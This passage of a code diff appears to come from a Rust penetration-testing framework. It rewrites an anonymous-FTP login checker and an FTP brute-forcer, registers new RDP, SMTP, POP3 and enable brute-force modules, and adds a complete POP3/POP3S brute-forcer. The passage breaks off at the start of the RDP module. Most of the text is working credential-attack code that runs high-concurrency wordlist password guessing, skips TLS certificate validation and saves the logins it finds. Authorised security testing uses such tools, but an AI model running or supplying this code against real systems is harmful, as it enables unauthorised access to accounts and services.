-use std::net::TcpStream;
-use std::io::{BufRead, BufReader, Write};
-use std::time::Duration;
+use anyhow::{anyhow, Result};
+use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
+use suppaftp::async_native_tls::TlsConnector;
+use tokio::time::{timeout, Duration};
 
-/// Checks if anonymous FTP login is allowed on a target.
-///
-/// Example usage from shell:
-/// ```
-/// rsf> use creds/ftp_anonymous
-/// rsf> set target 192.168.1.1
-/// rsf> run
-/// ```
+/// Format IPv4 or IPv6 addresses with port
+fn format_addr(target: &str, port: u16) -> String {
+    if target.starts_with('[') && target.contains("]:") {
+        target.to_string()
+    } else if target.matches(':').count() == 1 && !target.contains('[') {
+        target.to_string()
+    } else {
+        let clean = if target.starts_with('[') && target.ends_with(']') {
+            &target[1..target.len() - 1]
+        } else {
+            target
+        };
+        if clean.contains(':') {
+            format!("[{}]:{}", clean, port)
+        } else {
+            format!("{}:{}", clean, port)
+        }
+    }
+}
+
+/// Anonymous FTP/FTPS login test with IPv6 support
 pub async fn run(target: &str) -> Result<()> {
-    let port = 21;
-    let address = format!("{}:{}", target, port);
+    let addr = format_addr(target, 21);
+    let domain = target
+        .trim_start_matches('[')
+        .split(&[']', ':'][..])
+        .next()
+        .unwrap_or(target);
 
-    println!("[*] Connecting to FTP service on {}...", address);
+    println!("[*] Connecting to FTP service on {}...", addr);
 
-    // Connect with a short timeout
-    let stream = TcpStream::connect_timeout(
-        &address.parse().context("Invalid address")?,
-        Duration::from_secs(5),
-    )
-    .context("Connection failed")?;
-
-    // Clone reader/writer
-    let mut reader = BufReader::new(stream.try_clone()?);
-    let mut writer = stream;
-
-    // Read initial banner
-    let mut banner = String::new();
-    reader.read_line(&mut banner)?;
-    print!("[<] {}", banner);
-
-    // Send USER anonymous
-    writer.write_all(b"USER anonymous\r\n")?;
-    writer.flush()?;
-
-    let mut response = String::new();
-    reader.read_line(&mut response)?;
-    print!("[<] {}", response);
-
-    if !response.starts_with("3") && !response.contains("password") {
-        println!("[-] Server does not accept 'anonymous' user.");
-        return Ok(());
+    // 1️⃣ Try plain FTP first
+    match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
+        Ok(Ok(mut ftp)) => {
+            let result = ftp.login("anonymous", "anonymous").await;
+            if let Ok(_) = result {
+                println!("[+] Anonymous login successful (FTP)");
+                let _ = ftp.quit().await;
+                return Ok(());
+            } else if let Err(e) = result {
+                if e.to_string().contains("530") {
+                    println!("[-] Anonymous login rejected (FTP)");
+                    return Ok(());
+                } else if e.to_string().contains("550 SSL") {
+                    println!("[*] FTP server requires TLS — upgrading to FTPS...");
+                } else {
+                    return Err(anyhow!("FTP error: {}", e));
+                }
+            }
+        }
+        Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
+        Err(_) => println!("[-] FTP connection timed out"),
     }
 
-    // Send PASS anything (or empty)
-    writer.write_all(b"PASS anonymous\r\n")?;
-    writer.flush()?;
+    // 2️⃣ Fallback to FTPS
+    let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
+        .await
+        .map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
 
-    response.clear();
-    reader.read_line(&mut response)?;
-    print!("[<] {}", response);
+    let connector = AsyncNativeTlsConnector::from(
+        TlsConnector::new()
+            .danger_accept_invalid_certs(true)
+            .danger_accept_invalid_hostnames(true),
+    );
 
-    if response.starts_with("2") {
-        println!("[+] Anonymous login successful!");
-    } else {
-        println!("[-] Anonymous login failed.");
+    ftps = ftps
+        .into_secure(connector, domain)
+        .await
+        .map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
+
+    match ftps.login("anonymous", "anonymous").await {
+        Ok(_) => {
+            println!("[+] Anonymous login successful (FTPS)");
+            let _ = ftps.quit().await;
+        }
+        Err(e) if e.to_string().contains("530") => {
+            println!("[-] Anonymous login rejected (FTPS)");
+        }
+        Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
     }
 
     Ok(())

src/modules/creds/generic/ftp_bruteforce.rs

@@ -1,15 +1,72 @@
 use anyhow::{anyhow, Result};
-use async_ftp::FtpStream;
+use colored::*;
+use suppaftp::{
+    AsyncFtpStream,
+    AsyncNativeTlsFtpStream,
+    AsyncNativeTlsConnector,
+};
+use suppaftp::async_native_tls::TlsConnector;
 use std::{
     fs::File,
     io::{BufRead, BufReader, Write},
-    path::{Path, PathBuf},
-    sync::Arc,
+    path::PathBuf,
+    sync::Arc, // Keep Arc
 };
 use tokio::{
-    sync::Mutex,
-    time::{sleep, Duration},
+    sync::{Mutex, Semaphore}, // Import Semaphore
+    time::{sleep, Duration}
 };
+use std::path::Path;
+use sysinfo::System;
+use futures::stream::{FuturesUnordered, StreamExt};
+
+async fn dynamic_throttle(running: usize, max_concurrency: usize) {
+    let mut system = System::new_all();
+    system.refresh_all();
+
+    let cpu_count = system.cpus().len();
+    let cpu_usage = if cpu_count > 0 {
+        system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
+    } else {
+        0.0
+    };
+    let total_memory = system.total_memory();
+    let ram_used = if total_memory > 0 {
+        system.used_memory() as f32 / total_memory as f32
+    } else {
+        0.0
+    };
+
+    if cpu_usage > 80.0 || ram_used > 0.8 {
+        sleep(Duration::from_millis(50)).await;
+    } else if cpu_usage > 60.0 || ram_used > 0.6 {
+        sleep(Duration::from_millis(25)).await;
+    } else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
+        sleep(Duration::from_millis(10)).await;
+    } else {
+        sleep(Duration::from_millis(1)).await;
+    }
+}
+
+/// Format IPv4 or IPv6 addresses with port
+fn format_addr(target: &str, port: u16) -> String {
+    if target.starts_with('[') && target.contains("]:") {
+        target.to_string()
+    } else if target.matches(':').count() == 1 && !target.contains('[') {
+        target.to_string()
+    } else {
+        let clean_target = if target.starts_with('[') && target.ends_with(']') {
+            &target[1..target.len() - 1]
+        } else {
+            target
+        };
+        if clean_target.contains(':') {
+            format!("[{}]:{}", clean_target, port)
+        } else {
+            format!("{}:{}", clean_target, port)
+        }
+    }
+}
 
 pub async fn run(target: &str) -> Result<()> {
     println!("=== FTP Brute Force Module ===");
@@ -17,23 +74,22 @@ pub async fn run(target: &str) -> Result<()> {
 
     let port: u16 = loop {
         let input = prompt_default("FTP Port", "21")?;
-        match input.parse() {
-            Ok(p) => break p,
-            Err(_) => println!("Invalid port. Try again."),
-        }
+        if let Ok(p) = input.parse() { break p }
+        println!("Invalid port. Try again.");
     };
-
-    let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
+    let usernames_file = prompt_required("Username wordlist")?;
     let passwords_file = prompt_required("Password wordlist")?;
-
     let concurrency: usize = loop {
-        let input = prompt_default("Max concurrent tasks", "10")?;
-        match input.parse() {
-            Ok(n) if n > 0 => break n,
-            _ => println!("Invalid number. Try again."),
+        let input = prompt_default("Max concurrent tasks", "500")?;
+        if let Ok(n) = input.parse::<usize>() {
+            if n > 0 { break n }
         }
+        println!("Invalid number. Try again.");
     };
 
+    // Create a semaphore to limit concurrent network operations
+    let semaphore = Arc::new(Semaphore::new(concurrency));
+
     let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
     let save_results = prompt_yes_no("Save results to file?", true)?;
     let save_path = if save_results {
@@ -42,82 +98,114 @@ pub async fn run(target: &str) -> Result<()> {
         None
     };
     let verbose = prompt_yes_no("Verbose mode?", false)?;
-    let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
+    let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
 
-    let addr = format!("{}:{}", target, port);
+    let addr = format_addr(target, port);
     let found = Arc::new(Mutex::new(Vec::new()));
     let stop = Arc::new(Mutex::new(false));
 
     println!("\n[*] Starting brute-force on {}", addr);
 
     let users = load_lines(&usernames_file)?;
-    let pass_file = File::open(&passwords_file)?;
-    let pass_buf = BufReader::new(pass_file);
+    if users.is_empty() {
+        println!("[!] Username wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
 
-    let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
-    let _pass_len = pass_lines.len();
+    let passes = load_lines(&passwords_file)?;
+    if passes.is_empty() {
+        println!("[!] Password wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
 
+    let mut tasks = FuturesUnordered::new();
 
-    let mut idx = 0;
-    for pass in pass_lines {
-        if *stop.lock().await {
-            break;
-        }
+    if combo_mode {
+        for user in &users {
+            if *stop.lock().await && stop_on_success { break; }
+            for pass in &passes {
+                if *stop.lock().await && stop_on_success { break; }
 
-        let userlist = if combo_mode {
-            users.clone()
-        } else {
-            // Pair same line index if available
-            vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
-        };
+                let addr_clone = addr.clone();
+                let user_clone = user.clone();
+                let pass_clone = pass.clone();
+                let found_clone = Arc::clone(&found);
+                let stop_clone = Arc::clone(&stop);
+                let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
 
-        let mut handles = vec![];
+                tasks.push(tokio::spawn(async move {
+                    // Acquire a permit. This will block if `concurrency` limit is reached.
+                    let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
 
-        for user in userlist {
-            let addr = addr.clone();
-            let user = user.clone();
-            let pass = pass.clone();
-            let found = Arc::clone(&found);
-            let stop = Arc::clone(&stop);
-
-            let handle = tokio::spawn(async move {
-                if *stop.lock().await {
-                    return;
-                }
-
-                match try_ftp_login(&addr, &user, &pass).await {
-                    Ok(true) => {
-                        println!("[+] {} -> {}:{}", addr, user, pass);
-                        found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
-                        if stop_on_success {
-                            *stop.lock().await = true;
+                    // Proceed with the task logic only after a permit is acquired
+                    if *stop_clone.lock().await && stop_on_success { return; }
+                    match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
+                        Ok(true) => {
+                            println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
+                            found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
+                            if stop_on_success {
+                                *stop_clone.lock().await = true;
+                            }
+                        }
+                        Ok(false) => {
+                            log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
+                        }
+                        Err(e) => {
+                            log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
                         }
                     }
-                    Ok(false) => {
-                        log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
-                    }
-                    Err(e) => {
-                        log(verbose, &format!("[!] {}: error: {}", addr, e));
-                    }
-                }
-
-                sleep(Duration::from_millis(10)).await;
-            });
-
-            handles.push(handle);
-
-            if handles.len() >= concurrency {
-                for h in handles.drain(..) {
-                    let _ = h.await;
-                }
+                    // Permit is automatically released when `_permit` goes out of scope here
+                }));
             }
         }
+    } else { // Line-by-line mode
+        if !users.is_empty() || passes.is_empty() {
+            for (i, pass) in passes.iter().enumerate() {
+                if *stop.lock().await && stop_on_success { break; }
+                let user = if users.is_empty() { continue; } else {
+                    users.get(i % users.len()).expect("User list modulus logic error").clone()
+                };
 
-        for h in handles {
-            let _ = h.await;
+                let addr_clone = addr.clone();
+                let pass_clone = pass.clone();
+                let found_clone = Arc::clone(&found);
+                let stop_clone = Arc::clone(&stop);
+                let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
+
+                tasks.push(tokio::spawn(async move {
+                    // Acquire a permit
+                    let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
+
+                    if *stop_clone.lock().await && stop_on_success { return; }
+                    match try_ftp_login(&addr_clone, &user, &pass_clone).await {
+                         Ok(true) => {
+                            println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
+                            found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
+                            if stop_on_success {
+                                *stop_clone.lock().await = true;
+                            }
+                        }
+                        Ok(false) => {
+                            log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
+                        }
+                        Err(e) => {
+                            log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
+                        }
+                    }
+                    // Permit released
+                }));
+            }
         }
+    }
 
-        idx += 1;
+    let mut processed_tasks_count = 0;
+    while let Some(res) = tasks.next().await {
+        dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
+        if let Err(e) = res {
+            log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
+        }
+        processed_tasks_count += 1;
+        // (stop logic can remain)
     }
 
     let creds = found.lock().await;
@@ -126,59 +214,139 @@ pub async fn run(target: &str) -> Result<()> {
     } else {
         println!("\n[+] Valid credentials:");
         for (host, user, pass) in creds.iter() {
-            println!("    {} -> {}:{}", host, user, pass);
+            println!("     {} -> {}:{}", host, user, pass);
         }
-
         if let Some(path) = save_path {
-            let filename = get_filename_in_current_dir(&path);
-            let mut file = File::create(&filename)?;
-            for (host, user, pass) in creds.iter() {
-                writeln!(file, "{} -> {}:{}", host, user, pass)?;
+            let file_path = get_filename_in_current_dir(&path);
+            match File::create(&file_path) {
+                Ok(mut file) => {
+                    for (host, user, pass) in creds.iter() {
+                        if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
+                            eprintln!("[!] Error writing to result file '{}'", file_path.display());
+                            break;
+                        }
+                    }
+                    println!("[+] Results saved to '{}'", file_path.display());
+                }
+                Err(e) => {
+                     eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
+                }
             }
-            println!("[+] Results saved to '{}'", filename.display());
         }
     }
-
     Ok(())
 }
 
 async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
-    match FtpStream::connect(addr).await {
-        Ok(mut stream) => match stream.login(user, pass).await {
-            Ok(_) => {
-                let _ = stream.quit().await;
-                Ok(true)
-            }
-            Err(e) => {
-                if e.to_string().contains("530") {
-                    Ok(false)
-                } else {
-                    Err(anyhow!("FTP error: {}", e))
+    // (try_ftp_login function remains unchanged from your last working version)
+    // Attempt 1: Plain FTP
+    match AsyncFtpStream::connect(addr).await {
+        Ok(mut ftp) => {
+            match ftp.login(user, pass).await {
+                Ok(_) => {
+                    let _ = ftp.quit().await;
+                    return Ok(true);
+                }
+                Err(e) => {
+                    let msg = e.to_string();
+                    if msg.contains("530") {
+                        return Ok(false);
+                    } else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
+                        log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
+                    } else if msg.contains("421") {
+                        println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
+                        sleep(Duration::from_secs(2)).await;
+                        return Ok(false);
+                    } else {
+                        // Log network errors if verbose, otherwise they might be too noisy
+                        log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
+                        return Err(anyhow!("FTP login error: {}", msg));
+                    }
                 }
             }
-        },
-        Err(e) => Err(anyhow!("Connection error: {}", e)),
+        }
+        Err(e) => {
+            let msg = e.to_string();
+            if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
+                log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
+            } else if msg.contains("421") {
+                println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
+                sleep(Duration::from_secs(2)).await;
+                return Ok(false);
+            } else {
+                // Log network errors if verbose
+                log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
+                return Err(anyhow!("FTP connection error: {}", msg));
+            }
+        }
+    }
+
+    // 2️⃣ Only if needed, try FTPS
+    log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
+    let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
+        .await
+        .map_err(|e| {
+            log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
+            anyhow!("FTPS base connect failed: {}", e)
+        })?;
+
+    let connector = AsyncNativeTlsConnector::from(
+        TlsConnector::new()
+            .danger_accept_invalid_certs(true)
+            .danger_accept_invalid_hostnames(true),
+    );
+
+    let domain = addr
+        .trim_start_matches('[')
+        .split(&[']', ':'][..])
+        .next()
+        .unwrap_or(addr);
+
+    ftp_tls = ftp_tls
+        .into_secure(connector, domain)
+        .await
+        .map_err(|e| {
+            log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
+            anyhow!("TLS upgrade failed: {}", e)
+        })?;
+
+    match ftp_tls.login(user, pass).await {
+        Ok(_) => {
+            let _ = ftp_tls.quit().await;
+            Ok(true)
+        }
+        Err(e) => {
+            let msg = e.to_string();
+            if msg.contains("530") {
+                Ok(false)
+            } else {
+                log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
+                Err(anyhow!("FTPS error: {}", msg))
+            }
+        }
     }
 }
 
+
+// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
+
 fn prompt_required(msg: &str) -> Result<String> {
     loop {
-        print!("{}: ", msg);
-        std::io::Write::flush(&mut std::io::stdout())?;
+        print!("{}", format!("{}: ", msg).cyan().bold());
+        std::io::stdout().flush()?;
         let mut s = String::new();
         std::io::stdin().read_line(&mut s)?;
         let trimmed = s.trim();
         if !trimmed.is_empty() {
             return Ok(trimmed.to_string());
-        } else {
-            println!("This field is required.");
         }
+        println!("{}", "This field is required.".yellow());
     }
 }
 
 fn prompt_default(msg: &str, default: &str) -> Result<String> {
-    print!("{} [{}]: ", msg, default);
-    std::io::Write::flush(&mut std::io::stdout())?;
+    print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
+    std::io::stdout().flush()?;
     let mut s = String::new();
     std::io::stdin().read_line(&mut s)?;
     let trimmed = s.trim();
@@ -190,32 +358,29 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
 }
 
 fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
-    let default = if default_yes { "y" } else { "n" };
+    let default_char = if default_yes { "y" } else { "n" };
     loop {
-        print!("{} (y/n) [{}]: ", msg, default);
-        std::io::Write::flush(&mut std::io::stdout())?;
+        print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
+        std::io::stdout().flush()?;
         let mut s = String::new();
         std::io::stdin().read_line(&mut s)?;
         let input = s.trim().to_lowercase();
-        if input.is_empty() {
-            return Ok(default_yes);
-        } else if input == "y" || input == "yes" {
-            return Ok(true);
-        } else if input == "n" || input == "no" {
-            return Ok(false);
-        } else {
-            println!("Invalid input. Please enter 'y' or 'n'.");
+        match input.as_str() {
+            "" => return Ok(default_yes),
+            "y" | "yes" => return Ok(true),
+            "n" | "no" => return Ok(false),
+            _ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
         }
     }
 }
 
 fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
-    let file = File::open(path)?;
+    let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
     let reader = BufReader::new(file);
     Ok(reader
         .lines()
-        .filter_map(Result::ok)
-        .filter(|l| !l.trim().is_empty())
+        .filter_map(|line| line.ok().map(|s| s.trim().to_string()))
+        .filter(|line| !line.is_empty())
         .collect())
 }
 
@@ -226,10 +391,8 @@ fn log(verbose: bool, msg: &str) {
 }
 
 fn get_filename_in_current_dir(input: &str) -> PathBuf {
-    let name = Path::new(input)
+    Path::new(input)
         .file_name()
-        .unwrap_or_default()
-        .to_string_lossy()
-        .to_string();
-    PathBuf::from(format!("./{}", name))
+        .map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
+        .unwrap_or_else(|| PathBuf::from(input))
 }

src/modules/creds/generic/mod.rs

@@ -5,3 +5,7 @@
     pub mod telnet_bruteforce;
     pub mod ssh_bruteforce;
     pub mod rtsp_bruteforce_advanced;
+    pub mod rdp_bruteforce;
+    pub mod enablebruteforce;
+    pub mod smtp_bruteforce;
+    pub mod pop3_bruteforce;

src/modules/creds/generic/pop3_bruteforce.rs

@@ -0,0 +1,223 @@
+use anyhow::{Result, Context};
+use regex::Regex;
+use std::fs::{File, OpenOptions};
+use std::io::{self, BufRead, BufReader, Write, Read};
+use std::net::{TcpStream, ToSocketAddrs};
+use std::sync::{Arc, Mutex};
+use std::time::Duration;
+use threadpool::ThreadPool;
+use crossbeam_channel::unbounded;
+use native_tls::TlsConnector;
+
+#[derive(Clone)]
+struct Pop3BruteforceConfig {
+    target: String,
+    port: u16,
+    username_wordlist: String,
+    password_wordlist: String,
+    threads: usize,
+    stop_on_success: bool,
+    verbose: bool,
+    full_combo: bool,
+    use_ssl: bool,
+}
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("\n=== POP3 Bruteforce ===\n");
+    let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
+    let username_wordlist = prompt("Username wordlist file: ");
+    let password_wordlist = prompt("Password wordlist file: ");
+    let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
+    let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let config = Pop3BruteforceConfig {
+        target: target.to_string(),
+        port,
+        username_wordlist,
+        password_wordlist,
+        threads,
+        stop_on_success,
+        verbose,
+        full_combo,
+        use_ssl,
+    };
+    run_pop3_bruteforce(config)
+}
+
+fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
+    let addr = normalize_target(&config.target, config.port)?;
+    let host = get_hostname(&config.target);
+    let usernames = read_lines(&config.username_wordlist)?;
+    let passwords = read_lines(&config.password_wordlist)?;
+    if usernames.is_empty() || passwords.is_empty() {
+        return Err(anyhow::anyhow!("Empty user or pass wordlist."));
+    }
+    let found = Arc::new(Mutex::new(Vec::new()));
+    let stop_flag = Arc::new(Mutex::new(false));
+    let pool = ThreadPool::new(config.threads);
+    let (tx, rx) = unbounded();
+    if config.full_combo {
+        for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
+    } else if usernames.len() == 1 {
+        for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
+    } else if passwords.len() == 1 {
+        for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
+    } else {
+        for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
+    }
+    drop(tx);
+    for _ in 0..config.threads {
+        let rx = rx.clone();
+        let addr = addr.clone();
+        let host = host.clone();
+        let stop_flag = Arc::clone(&stop_flag);
+        let found = Arc::clone(&found);
+        let config = config.clone();
+        pool.execute(move || {
+            while let Ok((user, pass)) = rx.recv() {
+                if *stop_flag.lock().unwrap() { break; }
+                if config.verbose { println!("[*] Trying {}:{}", user, pass); }
+                let result = if config.use_ssl {
+                    try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
+                } else {
+                    try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
+                };
+                match result {
+                    Ok(true) => {
+                        println!();
+                        println!("[+] VALID: {}:{}", user, pass);
+                        let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
+                        if config.stop_on_success {
+                            *stop_flag.lock().unwrap() = true;
+                            while rx.try_recv().is_ok() {}
+                            break;
+                        }
+                    }
+                    Ok(false) => {}
+                    Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
+                }
+            }
+        });
+    }
+    pool.join();
+    let found = found.lock().unwrap();
+    if found.is_empty() {
+        println!("[-] No valid credentials.");
+    } else {
+        println!();
+        println!("[+] Found:");
+        for (u,p) in found.iter() { println!("{}:{}", u, p); }
+        if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
+            let f = prompt("Filename: ");
+            save_results(&f, &found)?;
+            println!("[+] Saved to {}", f);
+        }
+    }
+    Ok(())
+}
+
+// Standard POP3 login, plaintext
+fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
+    let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
+    let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
+    stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
+    stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
+    pop3_session(&mut stream, username, password, verbose)
+}
+
+// POP3S (SSL/TLS)
+fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
+    let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
+    let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
+    let connector = TlsConnector::new().unwrap();
+    let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
+    stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
+    stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
+    pop3_session(&mut stream, username, password, verbose)
+}
+
+// Shared POP3 session logic for both plain and SSL
+fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
+    let mut buf = [0u8; 4096];
+    // Banner
+    let n = stream.read(&mut buf)?;
+    let banner = String::from_utf8_lossy(&buf[..n]);
+    if verbose { print!("-> {}\n", banner.trim_end()); }
+    if !banner.to_ascii_lowercase().contains("+ok") {
+        return Err(anyhow::anyhow!("No +OK banner: {}", banner));
+    }
+    // USER
+    let user_cmd = format!("USER {}\r\n", username);
+    stream.write_all(user_cmd.as_bytes())?;
+    if verbose { print!("<- {}", user_cmd); }
+    let n = stream.read(&mut buf)?;
+    let resp = String::from_utf8_lossy(&buf[..n]);
+    if verbose { print!("-> {}\n", resp.trim_end()); }
+    if !resp.to_ascii_lowercase().contains("+ok") {
+        return Ok(false);
+    }
+    // PASS
+    let pass_cmd = format!("PASS {}\r\n", password);
+    stream.write_all(pass_cmd.as_bytes())?;
+    if verbose { print!("<- {}", pass_cmd); }
+    let n = stream.read(&mut buf)?;
+    let resp = String::from_utf8_lossy(&buf[..n]);
+    if verbose { print!("-> {}\n", resp.trim_end()); }
+    // Hardened login detection:
+    let reply = resp.to_ascii_lowercase();
+    if reply.contains("+ok")
+        && !reply.contains("error")
+        && !reply.contains("fail")
+        && !reply.contains("denied")
+        && !reply.contains("invalid")
+        && !reply.contains("authentication required")
+        && !reply.contains("locked") {
+        // Only consider true success if reply says +OK and has no error/fail/invalid/denied
+        if verbose {
+            stream.write_all(b"STAT\r\n").ok();
+            let n = stream.read(&mut buf).unwrap_or(0);
+            if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
+            stream.write_all(b"LIST\r\n").ok();
+            let n = stream.read(&mut buf).unwrap_or(0);
+            if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
+            stream.write_all(b"QUIT\r\n").ok();
+            let n = stream.read(&mut buf).unwrap_or(0);
+            if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
+        } else {
+            stream.write_all(b"QUIT\r\n").ok();
+        }
+        return Ok(true);
+    }
+    Ok(false)
+}
+
+fn read_lines(path: &str) -> Result<Vec<String>> {
+    let file = File::open(path).context(format!("Open: {}", path))?;
+    Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
+}
+
+fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
+    let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
+    for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
+    Ok(())
+}
+
+fn prompt(msg: &str) -> String {
+    print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
+}
+
+fn normalize_target(host: &str, port: u16) -> Result<String> {
+    let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
+    let t = host.trim();
+    let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
+    let addr = cap.get(1).unwrap().as_str();
+    let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
+    let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
+    if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
+}
+
+fn get_hostname(target: &str) -> String {
+    if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
+}

src/modules/creds/generic/rdp_bruteforce.rs

@@ -0,0 +1,271 @@
+use anyhow::Result;
+use colored::*;
+use std::{
+    fs::File,
+    io::{BufRead, BufReader, Write},
+    path::{Path, PathBuf},
+    sync::Arc,
+};
+use tokio::{
+    process::Command,
+    sync::{Mutex, Semaphore},
+    time::{sleep, Duration},
+};
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("=== RDP Brute Force Module ===");
+    println!("[*] Target: {}", target);
+
+    let port: u16 = loop {
+        let input = prompt_default("RDP Port", "3389")?;
+        match input.parse() {
+            Ok(p) => break p,
